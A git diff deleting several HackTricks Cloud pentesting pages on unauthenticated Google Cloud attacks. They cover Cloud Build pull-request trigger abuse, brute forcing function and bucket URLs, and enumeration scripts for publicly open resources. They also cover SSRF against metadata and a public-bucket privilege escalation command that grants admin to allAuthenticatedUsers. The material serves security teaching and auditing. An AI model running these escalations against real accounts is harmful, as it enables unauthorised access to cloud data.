-When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
-
-<figure><img src="../../../.gitbook/assets/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
-
-{% hint style="danger" %}
-Therefore, is this is set to **`Not required`**, an attacker could perform a **PR to the branch** that will trigger the execution adding the malicious code execution to the **`cloudbuild.yml`** file and compromise the cloudbuild execution (note that cloudbuild will download the code FROM the PR, so it will execute the malicious **`cloudbuild.yml`**).
-{% endhint %}
-
-Moreover, it's easy to see if some cloudbuild execution needs to be performed when you send a PR because it appears in Github:
-
-<figure><img src="../../../.gitbook/assets/image (340).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="warning" %}
-Then, even if the cloudbuild is not executed the attacker will be able to see the **project name of a GCP project** that belongs to the company.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
deleted file mode 100644
index ba70bc1d7..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
+++ /dev/null
@@ -1,103 +0,0 @@
-# GCP - Cloud Functions Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Functions
-
-More information about Cloud Functions can be found in:
-
-{% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %}
-[gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md)
-{% endcontent-ref %}
-
-### Brute Force URls
-
-**Brute Force the URL format**:
-
-* `https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`
-
-It's easier if you know project names.
-
-Check this page for some tools to perform this brute force:
-
-{% content-ref url="./" %}
-[.](./)
-{% endcontent-ref %}
-
-### Enumerate Open Cloud Functions
-
-With the following code [taken from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc/-/blob/master/find_open_functions.sh) you can find Cloud Functions that permit unauthenticated invocations.
-
-```bash
-#!/bin/bash
-
-############################
-# Run this tool to find Cloud Functions that permit unauthenticated invocations
-# anywhere in your GCP organization.
-# Enjoy!
-############################
-
-for proj in $(gcloud projects list --format="get(projectId)"); do
-    echo "[*] scraping project $proj"
-
-    enabled=$(gcloud services list --project "$proj" | grep "Cloud Functions API")
-
-    if [ -z "$enabled" ]; then
-	continue
-    fi
-
-
-    for func_region in $(gcloud functions list --quiet --project "$proj" --format="value[separator=','](NAME,REGION)"); do
-        # drop substring from first occurence of "," to end of string.
-        func="${func_region%%,*}"
-        # drop substring from start of string up to last occurence of ","
-        region="${func_region##*,}"
-        ACL="$(gcloud functions get-iam-policy "$func" --project "$proj" --region "$region")"
-
-        all_users="$(echo "$ACL" | grep allUsers)"
-        all_auth="$(echo "$ACL" | grep allAuthenticatedUsers)"
-
-        if [ -z "$all_users" ]
-        then
-              :
-        else
-              echo "[!] Open to all users: $proj: $func"
-        fi
-
-        if [ -z "$all_auth" ]
-        then
-              :
-        else
-              echo "[!] Open to all authenticated users: $proj: $func"
-        fi
-    done
-done
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
deleted file mode 100644
index fbb978d13..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
+++ /dev/null
@@ -1,85 +0,0 @@
-# GCP - Cloud Run Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud Run
-
-For more information about Cloud Run check:
-
-{% content-ref url="../gcp-services/gcp-cloud-run-enum.md" %}
-[gcp-cloud-run-enum.md](../gcp-services/gcp-cloud-run-enum.md)
-{% endcontent-ref %}
-
-### Enumerate Open Cloud Run
-
-With the following code [taken from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc/-/blob/master/find_open_cloudrun.sh) you can find Cloud Run services that permit unauthenticated invocations.
-
-```bash
-#!/bin/bash
-
-############################
-# Run this tool to find Cloud Run services that permit unauthenticated
-# invocations anywhere in your GCP organization.
-# Enjoy!
-############################
-
-for proj in $(gcloud projects list --format="get(projectId)"); do
-    echo "[*] scraping project $proj"
-
-    enabled=$(gcloud services list --project "$proj" | grep "Cloud Run API")
-
-    if [ -z "$enabled" ]; then
-	continue
-    fi
-
-
-    for run in $(gcloud run services list --platform managed --quiet --project $proj --format="get(name)"); do
-        ACL="$(gcloud run services get-iam-policy $run --platform managed --project $proj)"
-
-        all_users="$(echo $ACL | grep allUsers)"
-        all_auth="$(echo $ACL | grep allAuthenticatedUsers)"
-
-        if [ -z "$all_users" ]
-        then
-              :
-        else
-              echo "[!] Open to all users: $proj: $run"
-        fi
-
-        if [ -z "$all_auth" ]
-        then
-              :
-        else
-              echo "[!] Open to all authenticated users: $proj: $run"
-        fi
-    done
-done
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
deleted file mode 100644
index 1fa4e18a2..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# GCP - Cloud SQL Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cloud SQL
-
-For more infromation about Cloud SQL check:
-
-{% content-ref url="../gcp-services/gcp-cloud-sql-enum.md" %}
-[gcp-cloud-sql-enum.md](../gcp-services/gcp-cloud-sql-enum.md)
-{% endcontent-ref %}
-
-### Brute Force
-
-If you have **access to a Cloud SQL port** because all internet is permitted or for any other reason, you can try to brute force credentials.
-
-Check this page for **different tools to burte-force** different database technologies:
-
-{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/brute-force" %}
-
-Remember that with some privileges it's possible to **list all the database users** via GCP API.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
deleted file mode 100644
index 200dd2333..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# GCP - Compute Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Compute
-
-For more information about Compute and VPC (Networking) check:
-
-{% content-ref url="../gcp-services/gcp-compute-instances-enum/" %}
-[gcp-compute-instances-enum](../gcp-services/gcp-compute-instances-enum/)
-{% endcontent-ref %}
-
-### SSRF - Server Side Request Forgery
-
-If a web is **vulnerable to SSRF** and it's possible to **add the metadata header**, an attacker could abuse it to access the SA OAuth token from the metadata endpoint. For more info about SSRF check:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery" %}
-
-### Vulnerable exposed services
-
-If a GCP instance has a vulnerable exposed service an attacker could abuse it to compromise it.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
deleted file mode 100644
index 143207a71..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# GCP - Source Repositories Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Source Repositories
-
-For more information about Source Repositories check:
-
-{% content-ref url="../gcp-services/gcp-source-repositories-enum.md" %}
-[gcp-source-repositories-enum.md](../gcp-services/gcp-source-repositories-enum.md)
-{% endcontent-ref %}
-
-### Compromise External Repository
-
-If an external repository is being used via Source Repositories an attacker could add his malicious code to the repository and:
-
-* If someone uses Cloud Shell to develop the repository it could be compromised
-* if this source repository is used by other GCP services, they could get compromised
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md
deleted file mode 100644
index 39f682aa7..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# GCP - Storage Unauthenticated Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Storage
-
-For more information about Storage check:
-
-{% content-ref url="../../gcp-services/gcp-storage-enum.md" %}
-[gcp-storage-enum.md](../../gcp-services/gcp-storage-enum.md)
-{% endcontent-ref %}
-
-### Public Bucket Brute Force
-
-The **format of an URL** to access a bucket is **`https://storage.googleapis.com/<bucket-name>`.**
-
-The following tools can be used to generate variations of the name given and search for miss-configured buckets with that names:
-
-* [https://github.com/RhinoSecurityLabs/GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute)
-
-**Also the tools** mentioned in:
-
-{% content-ref url="../" %}
-[..](../)
-{% endcontent-ref %}
-
-If you find that you can **access a bucket** you might be able to **escalate even further**, check:
-
-{% content-ref url="gcp-public-buckets-privilege-escalation.md" %}
-[gcp-public-buckets-privilege-escalation.md](gcp-public-buckets-privilege-escalation.md)
-{% endcontent-ref %}
-
-### Search Open Buckets in Current Account
-
-With the following script [gathered from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_misc/-/blob/master/find_open_buckets.sh) you can find all the open buckets:
-
-```bash
-#!/bin/bash
-
-############################
-# Run this tool to find buckets that are open to the public anywhere
-# in your GCP organization.
-#
-# Enjoy!
-############################
-
-for proj in $(gcloud projects list --format="get(projectId)"); do
-    echo "[*] scraping project $proj"
-    for bucket in $(gsutil ls -p $proj); do
-        echo "    $bucket"
-        ACL="$(gsutil iam get $bucket)"
-
-        all_users="$(echo $ACL | grep allUsers)"
-        all_auth="$(echo $ACL | grep allAuthenticatedUsers)"
-
-        if [ -z "$all_users" ]
-        then
-              :
-        else
-              echo "[!] Open to all users: $bucket"
-        fi
-
-        if [ -z "$all_auth" ]
-        then
-              :
-        else
-              echo "[!] Open to all authenticated users: $bucket"
-        fi
-    done
-done
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md b/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
deleted file mode 100644
index bd3d71db2..000000000
--- a/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# GCP - Public Buckets Privilege Escalation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Buckets Privilege Escalation
-
-If the bucket policy allowed either “allUsers” or “allAuthenticatedUsers” to **write to their bucket policy** (the **storage.buckets.setIamPolicy** permission)**,** then anyone can modify the bucket policy and grant himself full access.
-
-### Check Permissions
-
-There are 2 ways to check the permissions over a bucket. The first one is to ask for them by making a request to `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam` or running `gsutil iam get gs://BUCKET_NAME`.
-
-However, if your user (potentially belonging to allUsers or allAuthenticatedUsers") doesn't have permissions to read the iam policy of the bucket (storage.buckets.getIamPolicy), that won't work.
-
-The other option which will always work is to use the testPermissions endpoint of the bucket to figure out if you have the specified permission, for example accessing: `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update`
-
-### Escalating
-
-In order to grant `Storage Admin` to `allAuthenticatedUsers` it's possible to run:
-
-```bash
-gsutil iam ch allAuthenticatedUsers:admin gs://BUCKET_NAME
-```
-
-Another attack would be to **remove the bucket an d recreate it in your account to steal th ownership**.
-
-## References
-
-* [https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/](https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/ibm-cloud-pentesting/README.md b/pentesting-cloud/ibm-cloud-pentesting/README.md
deleted file mode 100644
index caf2dee60..000000000
--- a/pentesting-cloud/ibm-cloud-pentesting/README.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# IBM Cloud Pentesting
-
-## IBM Cloud Pentesting
-
-{% hint style="success" %}
